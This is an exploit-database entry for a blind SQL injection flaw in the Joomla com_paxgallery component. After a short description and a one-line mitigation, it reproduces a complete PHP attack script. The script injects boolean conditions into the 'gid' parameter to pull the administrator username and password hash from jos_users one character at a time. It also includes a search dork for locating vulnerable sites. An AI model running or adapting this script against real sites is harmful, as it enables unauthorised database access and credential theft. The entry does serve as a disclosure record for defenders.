Joomla com_paxgallery Remote Blind Injection Vulnerability

vendor:

com_paxgallery

by:

Snakespc

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: com_paxgallery

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Joomla com_paxgallery Remote Blind Injection Vulnerability

This exploit is a blind SQL injection vulnerability in Joomla's com_paxgallery component. It allows an attacker to extract usernames and passwords from the Joomla database.

Mitigation:

Ensure that all user-supplied input is properly validated and sanitized before being used in database queries.

Source

Exploit-DB raw data:

<?php
ini_set("max_execution_time",0);
print_r('
#####################################################################
[»] Joomla com_paxgallery Remote Blind Injection Vulnerability
#####################################################################
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ Spécial >>>>His0k4 >>>>   Tous les hackers Algérie
[»] Dork: inurl:index.php?option=com_paxgallery
######################################################################
######################################################################
#  Joomla com_paxgallery (gid) Blind SQL Injection Exploit
#  [x] Usage: Snakespc.php "http://url/index.php?option=com_paxgallery&task=table&gid=1"
######################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
}
?>